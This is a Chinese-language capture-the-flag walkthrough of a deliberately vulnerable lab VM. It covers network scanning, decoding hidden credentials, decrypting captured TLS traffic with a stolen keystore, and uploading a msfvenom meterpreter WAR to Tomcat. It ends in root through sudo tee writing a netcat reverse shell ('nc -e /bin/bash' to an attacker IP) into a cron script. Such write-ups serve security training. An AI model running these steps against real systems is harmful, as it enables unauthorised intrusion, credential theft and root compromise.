靶机IP地址发现:
1、arp-scan --interface eth1 192.168.110.1/24
2、 nmap -sP 192.168.110.1/24
3、 fping -a -g 192.168.110.1/24
4、linux:for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
windows:for /l %i in (1,1,255) do @ping 192.168.64.%i -w 1 -n 1|find /i "ttl="
扫描开放端口:
发现开放了很多端口,可能靶机有相关防护
使用FIN扫描端口:nmap -sF 192.168.110.140
Tcp SYN Scan (sS)
这是一个基本的扫描方式,它被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。这个就是SYN扫描的优势.
有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手.
FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.
访问80端口,并查看源码,发现注释
经过两次base64解密后为:
pgibbons:damnitfeel$goodtobeagang$ta
看起来像,算了,后面再看吧。
继续收集信息:
view-source:http://192.168.110.140/initech.html发现提示:
我正坐在海滩读你的邮件
view-source:http://192.168.110.140/breach.html 在海滩.html页面发现提示:
该页面注释翻译过来为:没什么看的这里。还发现了images目录
访问images目录,发现目录遍历漏洞:
将该目录下所有图片下载到kali上去
wget -r -np -nH -R index.html http://192.168.110.140/images/
使用steghide 查看 没发现有用信息
使用file命令也没看出来什么
使用strings 取字符串,发现了一个网址
访问该网址 什么都不是
换个目标,查看刚刚看到的员工登录页面。
使用之前base64解密了两次的字符串进行登录,成功登录,发现了3份邮件,其中一份,获取到了有用信息。
访问192.168.110.140/.keystore,将该文件下载下来。
继续浏览,发现了一个新的地址。
将该.pcap包下载下来,导入wireshark进行分析。
流量分析开启:
导入证书,解密流量包:
发现wireshark需要.p12的证书
我们需要从keystore中导出p12证书,这里需要再机器上安装jre 密钥库口令就是tomcat
以管理员权限打开命令提示符,然后导出p12证书
keytool -importkeystore -srckeystore C:\Users\01\Downloads\keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat
导入到wireshark
流量 包已解密
筛选出http协议:
追踪http流:发现一个登录地址、
直接访问,无法访问
通过burp代理一下流量,可以访问。
继续看流量包,发现认证信息。
将 Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 进行base64解码,发现账号密码信息。
账号:tomcat
密码:Tt\5D8F(#!*u=G)4m7zB
登录成功,是Tomcat页面,可以通过上传war包getshell。
1、首先使用msfvenom生成war包的反弹shell
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o shell.war
2、msf开启监听
3、上传war包
4、上传成功
5、访问https://192.168.110.140:8443/shell/,等几秒,kali获得反弹shell
6、使用python -c 'import pty;pty.spawn("/bin/bash")' 完善shell
python -c 'import pty;pty.spawn("/bin/bash")'
7、查看/etc/passwd文件,发现两个有shell的用户
8、在网站目录/var/www/5446发现两个php文件,是网站配置文件,包含数据库账号密码。
9、发现数据库账号密码,登录数据库,在msyql中的user表中发现服务器用户milton,猜测他们可能使用了相同的密码。
desc user;查看user表结构
10、解密得到密码 :thelaststraw
11、切换到milton用户,在历史命令当中发现他曾切换到blumbergh用户
12、在/etc/passwd中得到提示blumbergh和bill有关
13、回忆起之前发现的目录遍历漏洞中有一张图片名称为bill.png
14、图上存在提示,我要看一下那个源码,谢谢key先生。于是使用strings获取下这张图片的字符串。
15、尝试使用这个密码切换到bill的那个用户上 blumbergh coffeestains
发现该用户可以以root权限且不需要密码的情况下执行tee命令和tidyup.sh脚本
16、tee命令用于将数据重定向到文件,可以通过tee将反弹shell的命令写到tidyup.sh然后就回反弹回一个root权限的shell了。
echo "nc -e /bin/bash 192.168.110.128 7777" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
17、kali开启监听,成功反弹回一个root权限shell
18、搜索flag文件,原来是隐藏文件
19、查看flag,完成靶机。
查看该文件,发现该文件存在以下行为:
切换到/var/lib/tomcat6/webapps目录
寻找swingline目录下的所有文件
然后删除
结合tee命令,将反弹shell的语句通过tee写入到tidyup.sh文件,然后执行,就可以获取到一个root权限的shell。
什么是tee命令?
查看tee使用方法:https://www.runoob.com/linux/linux-comm-tee.html
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
也就是将一个文件的内容复制或者追加到另一个文件
将反弹shell语句写入:
kali开启监听,成功获得shell
使用Python完善shell,并使用find搜索flag文件,发现隐藏文件.flag.txt
靶机完成。